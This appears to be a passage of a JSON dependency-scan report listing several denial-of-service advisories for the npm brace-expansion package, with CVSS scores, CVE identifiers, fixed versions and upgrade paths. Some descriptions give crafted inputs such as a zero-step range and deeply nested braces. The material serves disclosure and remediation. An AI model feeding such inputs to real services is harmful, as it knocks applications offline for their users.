"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
